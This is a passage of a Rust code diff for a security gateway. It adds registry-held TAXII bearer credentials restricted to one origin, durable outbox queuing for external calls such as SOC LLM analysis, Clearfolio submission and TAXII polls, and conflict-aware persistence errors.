CredentialSource::Env; + } + } } fn json_value_as_nonempty_string(value: &serde_json::Value) -> Option { @@ -240,6 +259,29 @@ mod tests { assert!(!registry.has_admin_auth()); } + #[test] + fn load_optional_secret_fills_missing_keys_only() { + let mut registry = CredentialRegistry::bootstrap_secrets( + None, + Some("secret".to_string()), + None, + None, + None, + None, + None, + ) + .unwrap(); + registry.load_optional_secret(CRED_SOC_LLM_TOKEN, Some("llm-token".into())); + registry.load_optional_secret(CRED_SOC_LLM_TOKEN, Some("ignored".into())); + registry.load_optional_secret(CRED_TAXII_BEARER, Some(String::new())); + assert_eq!( + registry.get_credential(CRED_SOC_LLM_TOKEN), + Some("llm-token") + ); + assert!(registry.get_credential(CRED_TAXII_BEARER).is_none()); + assert_eq!(registry.get_credential(CRED_ADMIN_TOKEN), Some("secret")); + } + #[test] fn file_overrides_env_per_key() { let dir = std::env::temp_dir().join(format!( diff --git a/src/lib.rs b/src/lib.rs index 312159f3..29c5cd31 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -93,7 +93,8 @@ mod suricata_eve; mod taxii; pub use credentials::{ CRED_ADMIN_TOKEN, CRED_ADMIN_TOKENS, CRED_CONTROL_PLANE_URL, CRED_DESTINATION_ALLOWLIST, - CRED_DESTINATION_DENYLIST, CRED_EGRESS_PROXY_TOKEN, CredentialRegistry, CredentialSource, + CRED_DESTINATION_DENYLIST, CRED_EGRESS_PROXY_TOKEN, CRED_SOC_LLM_TOKEN, CRED_TAXII_BEARER, + CredentialRegistry, CredentialSource, }; pub use destination::{DestinationPolicy, HostResolver, SystemHostResolver}; pub use proven_engine::{ProvenEngineConfig, ProvenEngineOutcome}; @@ -125,6 +126,10 @@ pub struct AppState { // Optional LLM SOC-analysis backend (OpenAI-compatible, e.g. the // contextual-orchestrator gateway). `None` unless configured. soc_llm: Option, + /// Optional TAXII Bearer for durable polls. Never logged or written to outbox. + taxii_bearer: Option, + /// Exact URL origin authorized to receive the registry TAXII bearer. + taxii_bearer_origin: Option, /// In-path Coraza consult (in-process libcoraza and/or sidecar). proven_engine: ProvenEngineConfig, /// Fail-closed destination policy for every outbound http/https call. @@ -180,16 +185,41 @@ impl AppState { /// Load from PostgreSQL, seeding the tenant snapshot when empty. pub async fn load_postgres(config: AppConfig, database_url: &str) -> Result { - let plane = control_plane::PostgresPlane::connect(database_url) - .await? - .with_event_limit(config.event_limit); - let mut data = match plane.load().await? { - Some(loaded) => loaded, - None => AppData::seeded(), - }; + Self::load_postgres_from_plane( + config, + control_plane::PostgresPlane::connect(database_url).await?, + ) + .await + } + + /// Load a specific tenant snapshot. `save` bumps `snapshot_version`; the + /// in-memory token must match that next value or the first management write + /// false-conflicts (HTTP 409) forever. + pub async fn load_postgres_for_tenant( + config: AppConfig, + database_url: &str, + tenant_id: &str, + ) -> Result { + Self::load_postgres_from_plane( + config, + control_plane::PostgresPlane::connect_tenant(database_url, tenant_id).await?, + ) + .await + } + + async fn load_postgres_from_plane( + config: AppConfig, + plane: control_plane::PostgresPlane, + ) -> Result { + let plane = plane.with_event_limit(config.event_limit); + let loaded = plane.load().await?; + let mut data = loaded.clone().unwrap_or_else(AppData::seeded); let event_limit = config.event_limit.max(1); enforce_event_limit(&mut data, event_limit); - plane.save(&data).await?; + if loaded.is_none() { + plane.save(&data).await?; + data.snapshot_version = data.snapshot_version.saturating_add(1); + } Ok(Self::new(data, config).with_control_plane(Arc::new(plane))) } @@ -215,6 +245,8 @@ impl AppState { max_body_bytes: 1_048_576, clearfolio: None, soc_llm: None, + taxii_bearer: None, + taxii_bearer_origin: None, proven_engine: ProvenEngineConfig::disabled(), destination: DestinationPolicy::production(), resolver: Arc::new(SystemHostResolver), @@ -245,6 +277,13 @@ impl AppState { self } + /// Optional TAXII Bearer from the credential registry. Never written to outbox payloads. + pub fn with_taxii_bearer(mut self, token: Option, origin: Option) -> Self { + self.taxii_bearer = token.filter(|value| !value.is_empty()); + self.taxii_bearer_origin = origin; + self + } + /// Configure the in-path Coraza adapter (sidecar and/or libcoraza). /// Builder-style. pub fn with_proven_engine(mut self, config: ProvenEngineConfig) -> Self { @@ -389,8 +428,20 @@ impl AppState { (result, data.clone(), previous) }; if let Err(error) = self.persist_snapshot(&snapshot).await { + let latest = if error.contains("snapshot conflict") { + match &self.control_plane { + Some(plane) => plane.load().await.ok().flatten(), + None => None, + } + } else { + None + }; let mut data = self.inner.write().await; - *data = previous; + if let Some(latest) = latest { + *data = latest; + } else { + *data = previous; + } return Err(error); } Ok(result) @@ -398,7 +449,10 @@ impl AppState { async fn persist_snapshot(&self, data: &AppData) -> Result<(), String> { if let Some(plane) = &self.control_plane { - return plane.save(data).await; + plane.save(data).await?; + let mut inner = self.inner.write().await; + inner.snapshot_version = data.snapshot_version.saturating_add(1); + return Ok(()); } let Some(path) = self.state_path.as_deref() else { return Ok(()); @@ -699,6 +753,7 @@ pub fn build_app(state: AppState) -> Router { .route("/api/events", get(list_events)) .route("/api/audit-logs", get(list_audit_logs)) .route("/api/outbox", get(list_outbox)) + .route("/api/outbox/{message_id}", get(get_outbox_item)) .route("/api/outbox/{message_id}/replay", post(replay_outbox)) .route("/api/backup", get(get_backup).post(restore_backup)) .route("/api/backup/drill", post(backup_drill)) @@ -1149,27 +1204,84 @@ async fn clearfolio_submit( format!("unknown document kind: {kind}"), ); }; + if state.control_plane.is_some() { + let body_text = String::from_utf8_lossy(&bytes).into_owned(); + let actor = audit_actor(&state, &headers); + let intent = ClearfolioSubmitIntent { + kind: kind.clone(), + filename, + body_text, + actor: actor.clone(), + }; + return enqueue_external_effect( + &state, + actor, + outbox::EVENT_CLEARFOLIO_SUBMITTED, + &kind, + &intent, + ) + .await; + } + match execute_clearfolio_submit(&state, &config, filename, bytes).await { + Ok((status, body)) => clearfolio_bytes_response(status, body), + Err(error) => dispatch_http_error(error), + } +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +struct ClearfolioSubmitIntent { + kind: String, + filename: String, + body_text: String, + actor: String, +} + +fn clearfolio_bytes_response(status: u16, body: Vec) -> Response { + let status = StatusCode::from_u16(status).unwrap_or(StatusCode::BAD_GATEWAY); + (status, [("content-type", "application/json")], body).into_response() +} + +fn dispatch_http_error(failure: outbox::DispatchError) -> Response { + let message = failure.as_str(); + let status = match &failure { + outbox::DispatchError::Permanent(text) + if text.contains("destination") || text.starts_with("HTTP 4") => + { + StatusCode::BAD_REQUEST + } + _ => StatusCode::BAD_GATEWAY, + }; + error(status, message.to_string()) +} + +async fn execute_clearfolio_submit( + state: &AppState, + config: &ClearfolioConfig, + filename: String, + bytes: Vec, +) -> Result<(u16, Vec), outbox::DispatchError> { let part = reqwest::multipart::Part::bytes(bytes) .file_name(filename) .mime_str("text/plain") .expect("text/plain is a valid MIME type"); let form = reqwest::multipart::Form::new().part("file", part); let submit_url = clearfolio_submit_url(&config.base_url); - let http = match state.outbound_client(&submit_url).await { - Ok(http) => http, - Err(message) => return error(StatusCode::BAD_REQUEST, message), - }; + let http = state + .outbound_client(&submit_url) + .await + .map_err(outbox::DispatchError::Permanent)?; let mut request = http.post(submit_url).multipart(form); - for (name, value) in clearfolio_tenant_headers(&config) { + for (name, value) in clearfolio_tenant_headers(config) { request = request.header(name, value); } - match request.send().await { - Ok(response) => clearfolio_relay_json(response).await, - Err(err) => error( - StatusCode::BAD_GATEWAY, - format!("clearfolio request failed: {err}"), - ), - } + let response = request.send().await.map_err(|err| { + outbox::DispatchError::Transient(format!("clearfolio request failed: {err}")) + })?; + let status = response.status().as_u16(); + let body = response.bytes().await.unwrap_or_default().to_vec(); + let preview = String::from_utf8_lossy(&body); + outbox::classify_http_status(status, &preview)?; + Ok((status, body)) } /// Proxies one Clearfolio job-status read (tenant headers applied server-side), @@ -1328,45 +1440,70 @@ async fn soc_analyze( format!("unknown event id: {}", request.event_id), ); }; - let body = soc_llm_chat_body(&config.model, &event); + if state.control_plane.is_some() { + let actor = audit_actor(&state, &headers); + let intent = SocAnalyzeIntent { + event: event.clone(), + actor: actor.clone(), + }; + return enqueue_external_effect( + &state, + actor, + outbox::EVENT_SOC_ANALYSIS_REQUESTED, + &event.id.to_string(), + &intent, + ) + .await; + } + match execute_soc_analyze(&state, &config, &event).await { + Ok(response) => Json(response).into_response(), + Err(error) => dispatch_http_error(error), + } +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +struct SocAnalyzeIntent { + event: SecurityEvent, + actor: String, +} + +async fn execute_soc_analyze( + state: &AppState, + config: &SocLlmConfig, + event: &SecurityEvent, +) -> Result { + let body = soc_llm_chat_body(&config.model, event); let endpoint = format!( "{}/v1/chat/completions", config.base_url.trim_end_matches('/') ); - let http = match state.outbound_client(&endpoint).await { - Ok(http) => http, - Err(message) => return error(StatusCode::BAD_REQUEST, message), - }; + let http = state + .outbound_client(&endpoint) + .await + .map_err(outbox::DispatchError::Permanent)?; let response = http .post(endpoint) .bearer_auth(&config.token) .json(&body) .send() - .await; - match response { - Ok(response) => match response.json::().await { - Ok(json) => match soc_llm_extract_content(&json) { - Some(analysis) => Json(SocAnalyzeResponse { - event_id: event.id, - model: config.model, - analysis, - }) - .into_response(), - None => error( - StatusCode::BAD_GATEWAY, - "llm response missing choices[0].message.content", - ), - }, - Err(err) => error( - StatusCode::BAD_GATEWAY, - format!("llm response read failed: {err}"), - ), - }, - Err(err) => error( - StatusCode::BAD_GATEWAY, - format!("llm request failed: {err}"), - ), - } + .await + .map_err(|err| outbox::DispatchError::Transient(format!("llm request failed: {err}")))?; + let status = response.status().as_u16(); + let json = response.json::().await.map_err(|err| { + outbox::DispatchError::Transient(format!("llm response read failed: {err}")) + })?; + let preview = json.to_string(); + outbox::classify_http_status(status, &preview)?; + let analysis = soc_llm_extract_content(&json).ok_or_else(|| { + outbox::DispatchError::Permanent( + "llm response missing choices[0].message.content".to_string(), + ) + })?; + Ok(SocAnalyzeResponse { + event_id: event.id, + model: config.model.clone(), + analysis, + }) } async fn healthz(State(state): State) -> Json { @@ -1433,7 +1570,7 @@ async fn create_route( .await { Ok(saved) => (StatusCode::CREATED, Json(saved)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -1469,7 +1606,7 @@ async fn create_threat( .await { Ok(saved) => (StatusCode::CREATED, Json(saved)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -1505,7 +1642,7 @@ async fn create_dnsbl( .await { Ok(saved) => (StatusCode::CREATED, Json(saved)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -1556,6 +1693,20 @@ struct OutboxListView { messages: Vec, } +#[derive(Serialize)] +struct OutboxItemView { + status: String, + message: outbox::OutboxMessage, + receipt_evidence: Option, +} + +#[derive(Serialize)] +struct OutboxAcceptedView { + status: String, + message_id: String, + event_type: String, +} + async fn list_outbox(State(state): State, headers: HeaderMap) -> Response { if !admin_authenticated(&state, &headers) { return error(StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token"); @@ -1576,7 +1727,84 @@ async fn list_outbox(State(state): State, headers: HeaderMap) -> Respo messages, }) .into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), + } +} + +async fn get_outbox_item( + State(state): State, + PathParam(message_id): PathParam, + headers: HeaderMap, +) -> Response { + if !admin_authenticated(&state, &headers) { + return error(StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token"); + } + let Some(plane) = &state.control_plane else { + return error( + StatusCode::SERVICE_UNAVAILABLE, + "outbox item reads require the PostgreSQL control plane", + ); + }; + match plane.get_outbox_item(&message_id).await { + Ok(Some((message, receipt_evidence))) => Json(OutboxItemView { + status: "ready".to_string(), + message, + receipt_evidence, + }) + .into_response(), + Ok(None) => error( + StatusCode::NOT_FOUND, + format!("unknown outbox message {message_id}"), + ), + Err(message) => persist_error(message), + } +} + +async fn enqueue_external_effect( + state: &AppState, + actor: String, + event_type: &'static str, + aggregate_id: &str, + payload: &impl Serialize, +) -> Response { + let Some(plane) = &state.control_plane else { + return error( + StatusCode::SERVICE_UNAVAILABLE, + "outbox enqueue requires the PostgreSQL control plane", + ); + }; + let payload_json = + serde_json::to_string(payload).expect("outbox effect payload is JSON-serializable"); + match plane + .enqueue_effect(event_type, aggregate_id, payload_json) + .await + { + Ok(message_id) => { + if let Err(error) = state + .mutate_and_persist(|data| { + record_successful_audit_log( + data, + actor, + event_type, + "outbox_message", + message_id.clone(), + ); + }) + .await + { + eprintln!("failed to audit outbox enqueue {message_id}: {error}"); + } + ( + StatusCode::ACCEPTED, + Json(OutboxAcceptedView { + status: "accepted".to_string(), + message_id, + event_type: event_type.to_string(), + }), + ) + .into_response() + } + Err(message) => persist_error(message), } } @@ -1618,7 +1846,7 @@ async fn replay_outbox( "message_id": message_id })) .into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -1651,7 +1879,7 @@ async fn get_backup(State(state): State, headers: HeaderMap) -> Respon artifact: Some(artifact), }) .into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -1706,7 +1934,7 @@ async fn restore_backup( "payload_hash": backup.payload_hash, })) .into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -1846,7 +2074,7 @@ async fn update_commercial_license( .await { Ok(saved) => (StatusCode::CREATED, Json(saved)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -1889,7 +2117,7 @@ async fn import_threat_feed( let actor = audit_actor(&state, &headers); match apply_threat_feed_import(&state, actor, "import_threat_feed", feed).await { Ok(result) => (StatusCode::CREATED, Json(result)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -1980,7 +2208,7 @@ async fn import_stix_document( }), ) .into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -2071,7 +2299,7 @@ async fn import_misp_document( }), ) .into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -2167,7 +2395,7 @@ async fn import_opencti_document( }), ) .into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -2218,6 +2446,16 @@ struct TaxiiPollResult { last_updated_unix: u64, } +#[derive(Debug, Clone, Serialize, Deserialize)] +struct TaxiiPollIntent { + objects_url: String, + feed_id: String, + source: String, + ttl_seconds: u64, + added_after: Option, + actor: String, +} + /// Poll a TAXII 2.1 collection objects endpoint and import STIX indicators. /// Secrets in the request body are never written to audit logs. async fn poll_taxii_collection( @@ -2256,6 +2494,47 @@ async fn poll_taxii_collection( Err(message) => return error(StatusCode::BAD_REQUEST, message), }; + if state.control_plane.is_some() { + let has_inline_secret = request + .bearer_token + .as_deref() + .map(str::trim) + .is_some_and(|value| !value.is_empty()) + || request + .username + .as_deref() + .map(str::trim) + .is_some_and(|value| !value.is_empty()) + || request + .password + .as_deref() + .map(str::trim) + .is_some_and(|value| !value.is_empty()); + if has_inline_secret { + return error( + StatusCode::BAD_REQUEST, + "durable TAXII poll cannot store credentials in the outbox; configure taxii_bearer in the credential registry", + ); + } + let actor = audit_actor(&state, &headers); + let intent = TaxiiPollIntent { + objects_url, + feed_id: request.feed_id.trim().to_string(), + source: request.source.trim().to_string(), + ttl_seconds: request.ttl_seconds, + added_after: request.added_after.clone(), + actor: actor.clone(), + }; + return enqueue_external_effect( + &state, + actor, + outbox::EVENT_TAXII_POLLED, + &intent.feed_id, + &intent, + ) + .await; + } + let body_text = match fetch_taxii_objects( &state, &objects_url, @@ -2307,7 +2586,7 @@ async fn poll_taxii_collection( }), ) .into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -2347,6 +2626,18 @@ async fn fetch_taxii_objects( ) -> Result { use futures_util::StreamExt; + let inline_bearer = bearer_token.map(str::trim).filter(|s| !s.is_empty()); + let bearer = if inline_bearer.is_some() { + inline_bearer + } else if let Some(token) = state.taxii_bearer.as_deref() { + let request_origin = url_origin(url)?; + if state.taxii_bearer_origin.as_deref() != Some(request_origin.as_str()) { + return Err("TAXII URL is outside the configured bearer origin".to_string()); + } + Some(token) + } else { + None + }; let http = state.outbound_client(url).await?; let mut request = http .get(url) @@ -2357,8 +2648,7 @@ async fn fetch_taxii_objects( .timeout(std::time::Duration::from_secs( PHISHING_DATABASE_FETCH_TIMEOUT_SECS, )); - - if let Some(token) = bearer_token.map(str::trim).filter(|s| !s.is_empty()) { + if let Some(token) = bearer { request = request.bearer_auth(token); } else if let Some(user) = username.map(str::trim).filter(|s| !s.is_empty()) { request = request.basic_auth(user, password); @@ -2393,6 +2683,57 @@ async fn fetch_taxii_objects( String::from_utf8(bytes).map_err(|error| format!("TAXII response is not valid UTF-8: {error}")) } +fn taxii_fetch_error_to_dispatch(message: String) -> outbox::DispatchError { + let lower = message.to_ascii_lowercase(); + if lower.contains("timed out") + || lower.contains("timeout") + || lower.contains("failed to poll") + || lower.contains("failed to read") + || lower.contains("http 429") + || lower.contains("http 5") + { + outbox::DispatchError::Transient(message) + } else { + outbox::DispatchError::Permanent(message) + } +} + +async fn execute_taxii_poll( + state: &AppState, + intent: &TaxiiPollIntent, +) -> Result { + let body_text = fetch_taxii_objects(state, &intent.objects_url, None, None, None) + .await + .map_err(taxii_fetch_error_to_dispatch)?; + let stix_json = taxii::stix_json_from_taxii_response(&body_text) + .map_err(outbox::DispatchError::Permanent)?; + let material = + stix_import::parse_stix_document(&stix_json, intent.source.trim(), intent.ttl_seconds) + .map_err(outbox::DispatchError::Permanent)?; + let feed = ThreatFeedImport { + feed_id: intent.feed_id.clone(), + source: intent.source.clone(), + ttl_seconds: intent.ttl_seconds, + threats: material.threats, + dnsbl: material.dnsbl, + }; + validate_threat_feed_import(&feed) + .map_err(|message| outbox::DispatchError::Permanent(message.to_string()))?; + let skipped_objects = material.skipped_objects; + let result = + apply_threat_feed_import(state, intent.actor.clone(), "poll_taxii_collection", feed) + .await + .map_err(outbox::DispatchError::Transient)?; + Ok(TaxiiPollResult { + feed_id: result.feed_id, + objects_url: intent.objects_url.clone(), + upserted_threats: result.upserted_threats, + upserted_dnsbl: result.upserted_dnsbl, + skipped_objects, + last_updated_unix: result.last_updated_unix, + }) +} + /// Ingest Suricata EVE JSON (single object, array, or NDJSON). Admin-auth only. /// Maps `event_type=alert` records into gateway security events for SOC export. #[derive(Debug, Serialize)] @@ -2492,7 +2833,7 @@ async fn import_suricata_eve( .await { Ok(result) => (StatusCode::CREATED, Json(result)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -2594,7 +2935,7 @@ async fn import_coraza_audit( .await { Ok(result) => (StatusCode::CREATED, Json(result)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -2753,7 +3094,7 @@ async fn import_phishing_database_feed( let actor = audit_actor(&state, &headers); match apply_threat_feed_import(&state, actor, "import_phishing_database_feed", feed).await { Ok(result) => (StatusCode::CREATED, Json(result)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -3547,6 +3888,14 @@ fn parse_phishing_ips(feed: &str, limit: usize) -> Vec { values } +fn persist_error(message: String) -> Response { + if message.contains("snapshot conflict") { + error(StatusCode::CONFLICT, message) + } else { + error(StatusCode::INTERNAL_SERVER_ERROR, message) + } +} + fn error(status: StatusCode, message: impl Into) -> Response { ( status, @@ -3722,13 +4071,13 @@ input,select{font:inherit;min-height:44px;padding:0 12px;border:1px solid var(--

POST admin-authenticated MISP Event/attribute JSON to /api/threat-intel/misp (optional query: feed_id, source, ttl_seconds). Maps IDS-worthy attributes (ip-src/ip-dst, domain, url, composites, hashes) into threats/DNSBL; attributes with to_ids=false are skipped. Live MISP REST pull is a follow-up.

TAXII 2.1 collection poll

-

POST admin-authenticated JSON to /api/threat-intel/taxii/poll with objects_url (or api_root+collection_id), optional Basic/Bearer credentials, and optional added_after. Fetches TAXII objects, normalizes to STIX, and upserts threats/DNSBL. Credentials are never written to audit logs.

+

POST admin-authenticated JSON to /api/threat-intel/taxii/poll with objects_url (or api_root+collection_id) and optional added_after. PostgreSQL enqueues taxii.collection_polled (202) for the leased worker; file/memory still fetches on the request path. Inline Basic/Bearer is memory-only — durable polls use taxii_bearer in the credential registry. Credentials are never written to outbox payloads or audit logs. Poll GET /api/outbox/{message_id} for receipt evidence. Indicator values stay unmasked.

OpenCTI threat intelligence

POST admin-authenticated OpenCTI GraphQL/list export JSON to /api/threat-intel/opencti (optional query: feed_id, source, ttl_seconds). Maps IPv4/IPv6, Domain-Name, Url, file hashes, and STIX indicators into threats/DNSBL. Live OpenCTI GraphQL pull is a follow-up.